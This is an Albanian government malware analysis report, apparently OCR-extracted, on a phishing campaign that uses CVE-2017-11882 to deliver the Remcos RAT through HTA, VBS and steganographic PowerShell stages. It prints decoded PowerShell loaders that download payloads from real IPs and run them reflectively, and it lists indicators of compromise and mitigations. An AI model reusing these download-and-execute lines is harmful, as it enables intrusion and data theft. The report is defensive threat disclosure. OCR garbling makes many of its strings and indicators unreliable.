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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti éshté bazuar né informacionet té vendosura né dispozicion né
momentin e pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashés mund té
mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér t¢ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér té mbajtur
integritetin dhe siguriné e té dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar ¢farédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.
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Eshté evidentuar garkullimi i njé fushate Phishing drejt infrastrukturave né Shqipéri ku dérgohet
njé e-mail, i cili pérmban njé skedar keqdashés me emértimin Pro+Build_25-020-000009.

Hidden in the Stars:
Nj& skedar keqdashés qé pérdor steganografi
CVE-2017-11882

= 01.E-mail
— Phishing
Nj& komandé e fshehur

éshté ekzekutuar né

background.

03.

d Shkarkimii
—J .doc

Dokumenti i shkarkuar,
shfrytézon CVE-2017-11882
(Microsoft Word Remote
Code Execution
vulnerability) RCE.

— 05.
Komanda Arbitrare
ngaHTA

Skedari HTA shkarkon njé
skedar tjetér GIF
74[.J208[.J123[.J191, ri
ndryshon prapashtesen né
.vbs dhe e ruan né
%APPDATA%.

07.
B Skriptives

Funksioni VAl éshté i thirrur nga Task
Scheduler, duke u ekzekutuar me
parametra string

7 (Remcos Payload encoded.txt
and Caspol.exe)

% 09.

2] Caspol.exe

Trojani Remcos, eksfiltron t&
dhénat sensitive drejt
serverit C2
216[.]9[.1225[.]75 (VPS)
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Njé email phishing éshté
dérguar ku pérmban
dokumentin Pro+Build_25-
020-000009.docx

02. Aksesimii

docx =

Sapo dokumenti aksesohet ,automatikisht
shkarkon njé tjetér skedar .doe nga:

hxxps:/ /kutt.ar-email[.Jcom][.]br/WYMDyt?&syria

04.
CVE-2017-11882

Komanda arbitrare nga njé
skedar HTA, jané t&
fshehura tek skedari .doc ku
jané t& ekzekutueshme.

06.ShkarkimiGIF (ciF

Skripti VBS ekzekuton dhe nis powershell nga ku:
* Shkarkon image.jpg nga 67[.]217[.]247[.]193
» Pérdor steganografi pér t& ekstraktuar payload
= Ngarkon payload-in e shkarkuar duke pérdorur
PowerShell Reflection

08. &
Funksioni“VAI” {O

Kodi shellcode i Remcos
&shté i injektuar né procesin
legjitim Caspol.exe

10. N
Eksfiltrimi C&C
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Analiza e skedarit Pro+Build_25-020-000009

Skedari Pro+Build_25-020-000009 éshté njé skedar i kategorisé docx dhe né pamje té paré duket
se éshté njé skedar i zakonshém Word-i legjitim. Nése aksesojmé skedarin, do té shfaget njé URL
qé tenton té shkarkojé njé skedar.

Word

Downloading: https://kutt.ar-email.com.br/WYMDyt?&syria (0%)

Figura 1: URLlejashtme

Figura 2: Analiza e URL sé jashtme

Nése URL e tentojmé t’a aksesojmé né browser do té shkarkohet automatikisht skedari me emrin:
nicepersongivenmebestoptionsforlongtime___ nicepersongivenmebestoptionsforlongtime
nicepersongivenmebestoptionsforlongtime.doc.
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Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64) T O X

File name

> rlongtime nicepersongivenmebestoptionsforlongtime nicepersongivenmebestoptionsforlongtime.d

File type File size [ ] Advanced

Binary 124.32 KiB

Scan Endianness Mode Architecture Type
Automatic LE Unknown NOEXEC Unknown
¥ Binary

Format: RTF
Format: plain text{CR]

Options
Signatures | v Recursive scan v/ Deep scan | | Heuristic scan v/ Verbose ‘ About
Directory 100% F Log [] Al types 57 msec Exit

Figura 3: Skedari RTF

Zakonisht skedarét e tipit me prapashtesén .doc jané pérdorur né fushata gé shfrytézojné dobési té
Microsoft Office (Word) gé ekzekutojné komanda arbitrare né kompjuterin e infektuar duke
pérdorur skedaré té tipit HTA si payload . Pér té vértetuar kété fakt vazhdojmé analizén dinamike
dhe evidentojmé njé komandé Powershell-i gé ekzekutohet pasi éshté shkarkuar skedari .doc.

U§ % o v ) Pro+Build_25-020-000009.docx - Microsoft Word
)
_) Home | inset  Pagelayowt  References  Maiings  Review  View

B Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-IKSROC1\flare] (Administrator) - [m] X v

Calibri (Body) SRR S O E = File Options View Process Find Users Help A Find -

; .t | @ y = %, Replace

Paste g cormatpainter || B 4 U - ek x Aee[ V- A [EIE B m |/C 1/ %X 1|V || S i S 1] owe! S
OFim Pav et Process | CPU| PrivateBytes| WorkingSet] PID| Descrption | Company Name Bl sae
Clipboard i Font & Paragi ‘ g Editing

DGABAEYACGBVAGD)
\JQBIACAAPQAGAF SAUWB!

(CPU Usage: 0.00% Commit Charge: 26.84% Processes: 142 Physical Usage: 31.67%

Pro+8uld ; 0 characters (an

Figura 4: Komandé arbitrare né Powershell
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Nése analizojmé kodin qé ekzekutohet, dallojmé se kemi té béjmé me njé komandé te enkoduar
me base64, e cila gjaté ekzekutimit dekodohet dhe ekzekutohet me Invoke-Expression.

Pér té kuptuar sjelljen e skedarit, marrim komandén e ploté dhe e modifikojmé duke shtuar
variabél pér té paré rezultatin.

PS C:\Users\flare> C:\Users\flare\Desktop\decoded.psl
[*]1 PowerShell Script Started...

[*] Decoding Base64 string...
[+] Decoded String Output:

$3

= Add-TYpE -mEMBErDefINITION
'[D11Import("Urlmon.D11", CharSet = CharSet.Unicode)]public static extern
IntPtr URLDownloadToFile(IntPtr iCKn,string XHIVHYVYQR,string

uql,uint tArb,IntPtr MOJbh);*
-nAmE "IjR" -NamesPACe
i0 -PassThru; $3::URLDownloadToFile(0, "http://74.208.123.191/
911/nicepersongivenmebestoptionsforlonatime.aTF"_"$FENV:APPDATA\nicenersongivenmehestontionstoriongtime.vbs ,U,U);STAr -5 1E€P(3); INVOKE—
iTeM "$env:APPDATA\n1cepersongivenmebestoptionsforlongtime.vbs"
[*] Script Execution Finished.

PS C:\Users\flare>

Figura 5: Dekodimi i komandés né Powershell

Evidentohet shkarkimi i njé skedari me prapashtesén .vbs, ku ruhet né vendndodhjen
%APPDATA%. Nése aksesojmé skedarin né kété direktori, shfaget dhe skedari me emértimin:
“nicepersongivenmebestoptionsforlongtim.hta” ku éshté dhe payload qé shfrytézohet nga
dobésia e Microsoft Office Word CVE-2017-11882 nga veté skedari .doc i shkarkuar né fazén e
paré.

() > ThisPC > Local Disk (C) > Users > flare > AppData > Roaming *> v O O Search Roaming
Name ’ Date modified Type Size
s Quick access
Adobe
B Desktop
Hex-Rays
¥ Downloads ;
i JetBrains
|=| Documents Maal Hoiz
&=/ Pictures Microsoft
d Music Notepad++
B videos NuGet
. 5 Sun
= This PC
SweetScape
¥ Network Visual Studio Setup
WinRAR

\\lireshark

D nicepersongivenmebestoptionsforlongtim.hta

151 KB

j nicepersongivenmebestoptionsforlongtime.vbs

Figura 6: HTA payload dhe skedari .vbs

Skedari .vbs ka njé numér shumé té madh rreshtash kodi dhe variabla té cilat nuk duket se kané
ndonjé géllim keqdashés por gjaté ekzekutimit né runtime ekzekutohet njé komandé Powershell
e enkoduar né base64. Modifikojmé kodin dhe arrijmé té shfagim se ¢faré éshté ekzekutuar dhe e
ndjekim me procesin e debug.
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$dipsadine = txt em1tgno1rofsno1tpotsebmne\1gnosrA/119/191 321.802.47//:ptth’;
$analyzing = $dipsadine -replace "#'
$migraine = 'http://67.217.247. 193/ lZ/wnc/new image.jpg’
Sunfunny = New-Object System.Net.wWebClient;
$bayacuru = $unfunny.Down]oadData($m1gra1ne),
Shyalosome = [System.Text.Encoding]::UTF8.GetString($bayacuru);
$verminer = '<<BASE64_START>>';
$holivars = '<<BASE64_END>>";
$eleidin = $hyalosome.Index0f($verminer);
10 $Nephthys = $hyalosome.Index0f($bolivars);
11 Seleidin -ge 0 -and $Nephthys -gt $eleidin;
12 Seleidin += $verminer.Length;
13  $subfigure = $Nephthys - Seleidin;
14 $underframe = $hyalosome.Substring($eleidin, $subfigure);
15 __Strichor = [System.Convert]::FromBase64string(Sunderframe);
16 $lorum = [System.Reflection.Assembly]::Load($trichor);
VAT

WoNAWV S WN -

PS C:\Users\flare> C:\Users\flare\Desktop\stage_2decoded.psl
True

Hit Line breakpoint on 'C:\Users\flare\Desktop\stage_2decoded.ps1:17"
[DBG]: PS C:\Users\flare>> $dipsadine
txt.emitgnolrofsnoitpotsebmnevignosrA/119/191.321.802.47//:ptth

[DBG]: PS C:\Users\flare>> $underframe
TVQQAAMAAAAEAAAA/ /BAAL GAAAAAAAAAQ gAAAAA4 fug4AtAnNIbgB TMOhVGhpcyBwem9ncmF tIGNhbm5vdCBiZSBy i

[DBG]: PS C:\Users\flare>>

Figura 7: Dekodimi i komandés sé Powershell

Evidentojmé njé numér té larté variablash. Variabli $dipsadine duket se ruan njé url ku vargu i
karaktereve éshté i anasjellté. Variabli $migraine pérmban njé imazh.

2 MO [E new.imagejpg (3840x2160) x B —

« C A Not secure | 67.217.247.193/712 ew_image.jpg T3 =

Figura 8: new_image.jpg

Variabli $unfunny krijon njé objekt té tipit WebClient dhe nis shkarkimin e imazhit me parametér
variablin $migraine.

Variablat $verminer dhe $bolivars pérmbajné fillimin dhe fundin e njé payload té enkoduar me
base64 ku tregon se kemi té béjmé me njé rast steganografie. Gjaté ekzekutimit ajo dekodohet
nga base64 dhe pérdor Powershell Reflection, gé shérben pér té ekzekutuar skedar .exe ose.dll té
shkruar né .NET
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Klasa Home ka njé funksion me emrin VAI gé merr si parametér variablin $analyzing ku éshté

njé skedar i tipit text gé merret nga URL e paracaktuar né fillim. Pér té paré kété skedar té
ekzekutueshém marrim rezultatin e variablit Sunderframe:

~BmE input

Output #.

11This progr:

Figura 9: Skedari i ekzekutueshém né .NET.

Pasi shkarkojmé skedarin, kryejmé njé analizé mé té thelluar té tij.

Fl ORE UM
Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64)

File name

> C:\Users\flare\Desktop\download.exe
File type File size
PE32

D Advanced
1.99 MiB

Scan

Endianness Architecture
Automatic

LE 1386
» PE32

Library: .NET(v4.0.30319)[-]
Compiler: VB.NET(-)[-]

Linker: Microsoft Linker(48.0)[DLL32]

Shortcuts

Options
Signatures v/ Recursive scan v/ Deep scan [} Heuristic scan v/ Verbose

Directory 100% IT Log | [] All types

258 msec

Figura 10: Skedari .NET
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Nése nisim fazén e Reverse engineering té skedarit do evidentojmé se ka njé emer
TaskScheduler. Ky skedar ka importuar njé numér té larté té funksioneve té Win32API si:
VirtualAlloc,VirtualProtect, WriteProcessMemory_ APl etj, ku kuptohet se tentohet té
injektohet payload né ndonjé proces legjitim.

VAl(string, string, string, string, string, strin...

1 i QBXtX, i startupreg, caminhovbs, namevbs, st netframework, nativo, i nomenativo,
persitencia, s caminho, nomedoarquivo, r string_0, g minutos, i startuptask, taskname)

€

num;
(minutos))

3);

(minutos, num) )

(persitencia, < (23690)))

taskService = ice();

n taskDefinition = taskService.le

9);

(133))

Figura 11: Funksioni VAI

Funksioni VALI éshté funksioni i cili né total merr 15 parametra nga ku vetém 2 jané parametrat
té cilat ai pérdor. Njéri éshté payload i tipit text dhe i dyti éshté vargu i karaktereve CasPol.

nicepersor xt - Notepad s a X

File Edit Format View Help
= AAAAAAAAAA AAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAA AAAAAAAA, ~
3A7N0eD03wANEeDg3g3NwdDa3Q2NIdDR3QgNebDw2grNsaDn2gmNgZDV2QKNQYDC 1wfNSXDU1AbNKWD1 1AWNYVDT 1WTNIUDAGQPNK TDS@EKNC SDOgFNQRDROQDNAMD+ zw+MkPD32 g6l
+gqPg6DM+APPIEDE+gNPWSDa+AMPYSDU+gkPASDO+APOADT+ghPQADC+AQPA3D89gePg3D29AdPT 3DWOEbPW2DGIAaPY2DkOgYPA2DE9AXPO1DYIgVPQ1DSOAUPAADMIgSPEODGIAR
4QNOMjDX4WL0@1DraQKOC iD14wIOEiDf4QHOS hDZAWFOUhDT4QEO8gDNAWCOKgDHAQBOMGDB 3w/ NafD73Q+Nc fDf3Q3NsdDZ3w1NUADT3QONSCDN3wy Nk cDH3QXNMCDB2wvNebD72Qul
6Qq0gqDN6gpOUGDKE6WO0IqDh6A008pDe6QNOWpDb6EMOKpDY6W10YPDVEA1OMPDSE6QKOAPDPEEj000DMEW1000DI6A10Cc0DGEQh0QODD6EEOEODASESOKKDI SWQOIKDBSAAAAAASAUAI
8wWCPKwDH8QBPMWDB7w/00vD77Q+0cvD17Ww80EVDY7Q705uDp7w50UuDj7Q408tDd7w20k t DX7Q10MtDR7Wz0@SDL7Qy0c SDF 7wwOEOD/6Qv0OsrD56wtOUrDz6Qs08qDt6wqokgDn6Qp!
1ASNCUDG1QRNQUDD1QNEQD/AAQAEDQBQCQMSFDSX4 TMOE JKXASMWEDDXIAMAD 7WQOMaDDOWYMMSC j swgKMeCD1wo IMAC j dwwGMiBDWwWA EMEB jOWADMMADHWIBMIAAAAWEAFAIA/4/|
7190WuDh7130gt jT6kSNweTc381NNdz03kyNXcTB2MVNhbzz20rNraTm2U1NBVT810eNviWTm1cWNbVDL 18BNhTDWOYLNjSTe@AHNpRZ JOAYMmMPDOZK7MyOTizEAMKNVZCOMHIT7WUNI
30jNGbjt2sqNEazS2wWSNEWDC1EVN1QTIBSNNZRDSOMDNAM Nz CpMML TXAAAASBABWCAAASTL+SpPVOTWSANPYZ jX801IP/ t267wS0qt jOSSTOdK jFA4P03 jD64ENORT jk1cMMACTEAAA,
3kmN+bz62grNIazX2UINLN]SyYuMfITBXIfMYHTXxxSKMCCAAAWEAEAGA/@nPF7jv+MqPd6j1+goP95jd+kkPwojj8cwObujk7YmOkrzk6so040DA3UaNXXzx1TYNDRDWOEWMNPjez 82l
YUtMRLTZyKSMFLDPXUCMBHTVXKbM1GT sX@aMpGDFwOIMZCT1WE JMNCT iwUIMBCAAAAGADANA/ gvPkS jU+AjPbOz+9k0PMZzD101MhLTZXSbMGBAAAQCADAMA/ g/Ps/D2/wW3PX92Y/UL
XYeMgHz 2XUdMPHTyYxQcM+GDuxIbMtGzpxEaMbGj1XxAZMKGDhX8XMSF zc XOWMOF JYXWVMWF TUXSUMF FZPX0 TMOE j LxgSMJ E THXCRMREDDXYQMAAj +wUPMVDT 6WMOMeDD2wINMMDZ XWEM!
1UdN8ST10SMNBT 2 t@OKNNGT iwoOMGBAAAQPADAEAAAWPt +zH+UpP1@je7A600uDe7EAOj SDC6QUONrDs6gaMuHT 2xQc MpBAAAADADADA2ArNGBAAAWAADACAT s FNUL ZHykQMZHTXAAA
+ENPr5zYAAAAYAQAEDAAA4 j1+8CPG3Zu9IbPr2jp9AaPY2DkoMYP91zd9EXPN1TYIUVPP1ZRIEUPLEDIIUBPIYZ58gIPkxzUB4DPXWZ I8SBPRWICBUWO/vi+7U/0rvT47c90NVjv7Q7!
/8yPZAD3+MtPe6Tk+ONPQ5ZR+gjPrazF9sePi3z09YCPy2Tg9oYXPn1zU9gUPSODLIUBPPzDABENPE zDS8QIP7XDC8MGPOXTH7U/OUUjI170h0Zr TS61t04pTQEKQOUNjt5ga0k1 TWSCBI
ywpMYKD1yApMMKD1yQoMAKDTygnMeIDcywmMoIDZyAmMc IDWyQIMQIDTYgKME IDQYwjMAED2XSZMFCZOWECAAEAEAEACAAAA/ ESPEITY+8UPY7TZ+IQP+1ZP9YSPbOTFI8QPIWzZ+8UP!
XUZMKGDbx@TMyE jHWWMM1CTbwg FM6ATNWOAAAAATAEAMAAAA/E/PX/ 22 /k8P8+zt/sYP/yDvBYIPVt jc7gmOHr Tv6whOPkzb5sFOs j jw3woNhezV38yNMUT314VNTVZS1QUN+UDIOCPI
1wfNpXjO14ZNLWJg1AHNr TTROKLN7QjLZ87M10DOZYSMPNDMZAXMOL jyyorMBKTIxs JAAEADAAAAASTC+5qPq5jX+QiPTOj/9YZPC1D084PPAZ Tr8EKPEWZE71701uzc75101rD164q
+QnP15jV+gjPp4jG+sQP03zvoAbPh2jkoMYPO1TZYVPMIDNOUSPWWDBBEOPSZZWBQLPBt TZ7g80AvZN7530/5TG7YEOSrjs6snODkT35EdOFnzr58Z0hhj540NOwi TSAMEOkCZ+3U+
6IMOZpTQ6Mj0002165hOWOZASWFO3nZ45Md0InZWSkbOtmDPSMZ0/1§CcSYWOS1ZR5QTOpkz I5SROWKDESYQOAGT34ENO81 Ts4gK0diD14k I0A1 Td4wGOhhDWAAFOHhTQAWDOt gz T4wB!
WOMMBCDMAAAAUAAAZAAAALD ] +WQP03jWOYYPA1TTISRPLWT 28kMPpy jm8YIPKxZK8ECPES]/7U/0vvj67U+0gvT27Q90NVDY 7w703uTs785015 TH6UVOZqTr6cqOhgDm6 IpOMgjh6Ao
DEITELIXI4bISRCEGDSZF7 juI70vuWACisvpSBGKOTjja31+EfgieMqvvzjioNaDcX@XSAIDPGqLHK1TZobG73az8Dgf5T13/kQYWaD35713UeHMadmdR+KqNAUdZ2LeMLIS+aEERh7+
v6zrMqeGdNHrXKI1Bx5zXB/XS3dKQxmkIh5y1+gVofZP4ZS1ubDuvncIQdEXkBYb8z3Sb7RXSBZqK@90P7wH2 jw3I2xngfrhE@Lav1IBOcsimionTfe0/t5z0hYFKE2uJOA@ThjdThrx
PAAAAAABAAWDAAAAAAPAABAAAAAAWDAAPAAAAAABAAWDAAAAAAPAABAAAAAAWDAAPAAAAAABAAWDAAAAAAPAASBAAAAAADAA/ / /HA/ / [ AAw/ [ / A8/ /PAAB/ [PA// /[DAA/ / /Dw/ | [ AAw,
AAAAAAAAMDED/ /[ c2++/Vy75/70uo/vj6i+/0qL6/70u0/vj6i+/0qL6/70u0/vj6i+/0qL6/70uU0/V]6i+/0qL6/70U0/V]6i+/0qLE/70U0/V]6i+/0qLE6/70uU0/V]6i+/0qLE/70
AAAAAAAA/DAq/ /PAY+//Ag5//DAm/ /PAY+/ /Ag5/ /DAm/ [PAY+/ /Ag5//Dwl/ /PAX+//AcS//Dwl/ /PAX+//AcS//Dwl/ /PAX+//AcS//Dwl//PAX+//AcS//Dgl//PAW+/ /AYS/ /Dg
AAAAAAAA/DQp/ /PiC///AQAA/DAGASTIjBX/pYHF/LRWISVNLGX/T81D/DQGASPAgAW/ZEYG/ jyeUs/Fjtw/ roXF/zCfWsfDTZw/ rwXF/bCfT8FMMix/ cMmD/DWHASTANAW/QCXF/ry:
AAAAAAAA/DQp// /hD/ /| AAAA/DAAABPAAAN/ AAAA/ DAAABPAT AW/ CYSA/DSZQ8/ TwFx/YUGD/HSbQBPBG Iw/ hwGE / r jkd8fHoSw/ 8wYH/DAIABPAdAW/ igWE/ LDhY8PDPZW/XK1C/Ti.
TR Innellidoalllannninanannaan T B O e P N e T MR
Ln1,Col 1 100%  Windows (CRLF) UTF-8

Figura 12: Parametri txt si payload

Ky payload kalon né disa funksione, transformohet dhe injektohet né njé proces legjitim me emrin
CasPol(Code Access Security Policy Tool). Pra, skedari nis procesin legjitim CasPol dhe kryen
injektim né memorien e kétij procesi, prandaj pér té paré se ¢faré ndodh e ndjekim me procesin e
debug.
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) aiee = 13; i +=
(EEC a2 v IAPLWRITEPRO

numl4 = \uF@9s9. (\uE@®2, num12 +
numls = \u (\uE@®2, numl2 + \uE10F.
numl6 = \uF@99. (\uE@®2, num12 + \uE10F.

f (numl5s != @)

Aa A

te[] array2 = [numl5 - \uE10F. u
F (\uE@®2, numl6, array2, \uE10F. (e ray2. );
| cessMemory_API(process_INFORMATION.ProcessHandle, numl@ + numl4, array2,
array2.Length, ref num7))

FO98. s

numl2 += \uE10F (126);

[1 array3 = \uF@9cC. (num10);
(1API. (process_INFORMATION.P 3 E10F . (14), array3,

Value
\uE000 @"C
& \uE001
> \UE002 [0x000
> \uE003
& text
© startup_INFORMATION
&2 process_INFORMATION
> flags

Figura 13: CasPol.exe dhe vektori me byte

Gjithashtu evidentohet dhe njé vektor me byte nga ku kuptohet se kemi té béjmé me njé payload
tjetér, skedar té ekzekutueshém qé e dallojm né vlerén hex 4D 5A.

Locals

Name Value
4 2 \uE002 [0x00079C001
2 [0]

Figura 14: Skedar i ekzekutueshém si vektor me byte

Pasi e shkarkojmé kété skedar do té evidentohet se automatikisht do t& marré njé logo nga ku
kuptohet se kemi té béjmé me REMCOS RAT, i cili injektohet si shellcode né procesin legjitim
té CasPol.exe

malware.exe

Figura 15: Remcos RAT

Adresa: Rruga “Papa Gjon Pali 11 nr.3, Tirané; www.aksk.gov.al
info@aksk.gov.al; Tel./Fax : 04 2221 039



http://www.aksk.gov.al/
mailto:info@aksk.gov.al

TLP:CLEAR

e
Process Name Process D Protocol State Local Address Local Port _Remote Address Remote Port Create Time Module Name Serl
B ! CasPol.exe 4956 Tcp Established ~ 192.168.141 8046 3/2/2025 1:36:16 PM  CasPol.exe
N\ NordVPN exe 9012 TP Established  192.168.141 49739 21210256179 443 3/2/2025 1:3547PM  NordVPN.exe
N NordVPN exe 9012 Tcp Established ~ 192.168.141 49737 20721121126 443 3/2/2025 1:3547 PM  NordVPN.exe

[Time Wait] TP Time Wait 192.168.141 49730 204.79.197.239 443
[Time Wait] TP Time Wait 192.168.141 49725 204.79.197.239 80

£ msedgeexe 5244 TcP Established ~ 192.168.141 49759 204.79.197.203 443 3/2/2025 1:3552PM  msedge.exe

£ msedgeexe 5244 P Established  192.168.141 49755 204.79.197.203 443 3/2/2025 1:3552PM  msedge.exe
Figura 16: Command and Control Server

Nr. | Taktika Teknika

1 T1566 :Phishing

Initial Access (TA0001)

T1566.001 : Spear phishing Attacment

2 Execution (TA0002)

T1053.005 : Scheduled Task

T1204.002: Malicious File

3 Persistence (TA0003)

T1547.001 : Registry Run Keys / Startup Folder

T1053.005 : Scheduled Task

4 Privilege Escalation

T1140 : Deobfuscation

(TA0004)

T1055.012 : Process Hollowing

T1053.005 : Scheduled Task

5 Defense Evasion

T1564.001 : Hidden Files and Directories

(TA0005)

TA1562.001 : Disable or Modify Tools

T1055.012 : Process Hollowing

T1564.003 : Hidden Window

6 Credential Access

T1555.003 : Credentials from WebBrowser

(TA0006)

TA1552.001 : Credentials in files

TA1552.002 : Credentials in registry

7 Discovery (TA0007)

T1087.001 : Local Account

Indikatorét e Komprometimit

D6D66AB4FAG699711648 | Pro+Build_25-020-000009.docx

09C21EAE630861605332
F38B99BC885402ED2C
C92539B
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email[.Jcom[.]Jor/WYMD
yt?&syria

816EF91298A44C3231B5 | nicepersongivenmebestoptionsforlongtim.hta
E17FBD85D6F1CE5S6581

9A921331AF56D32FB53

5F5F52

E6ESBCOF0C1757DB14 | nicepersongivenmebestoptionsforlongtime.vbs
691C14FE6E179E06C1F

4733D2A91E00C1CO0AA

4A88C5A59

AD4E305243EEA4EB48 | Microsoft.Win32.TaskScheduler
308CE4BCCD6B999ED9

3F9810A82236987187FD

A9E12DE1

DF758036E3B14633B297 | NICEPERSONGIVENMEBESTOPTIONSFORLONGTIM
33C7F62A9D52660BFAF | E NICEPERSONGIVENMEBESTOPTIONSFORL
6124CB2BB3427C3B817 | ONGTIME NICEPERSONGIVENMEBESTOPTION
14082B SFORLONGTIME.DOC

76B1F681DD3B617B885 | New_image.jpg

68D2D0A0AACIB589C8

9B569FB25AC5BEODFO

839E96E8D

74[.]208[.]123[.]191 Dropper

67[.]217[.]247[.]193 Dropper

216[.]19[.]225[.]75 C2

hxxps://kutt.ar- Dropper

Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

e Bllokimin e menjéhershém té Indikatoréve té Komprometimit, t¢ pérmendura mé sipér né

pajisjet tuaja mbrojtése.

e Analizimin e vazhdueshém té logeve gé vijné nga SIEM (Security information and Event

Management).

e Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat e shmangies s€ infektimit

prej tyre.

e Instalimin e pajisjeve té perimetrit t& rrjetit gé béjné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
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NextGen).

Sistemet e evidentuara té segmentohen né VLAN-¢ té ndryshme, duke aplikuar “Access
control list pér t& gjithé perimetrin e rrjetit”, webserviset duhet té jené t€ ndaré nga Databaza e
tyre, Active Directory duhet té jeté né njé VLAN té ndaré.

Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menaxhimin e
fjalékalimeve t& Administratoréve Lokal.

Té aplikohen filtra té trafikut né rastin e aksesimit né distancé té hosteve (punonjésve/palé té
treta/klienté).

Té implementohen zgjidhje qé kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

T€ kryhen analiza t€ trafikut n€ nivel sjellje “behaviour” pér pajisjet fundore, aplikimi 1
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

TE projektohet zgjidhja pér menaxhimin e aksesit t€ pérdoruesve “Identity Access
Management” pér t€ kontrolluar identitetin dhe privilegjet e pérdoruesve né kohé reale sipas
parimit “zero-trust”.

Autorét :
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Sara Qoshi
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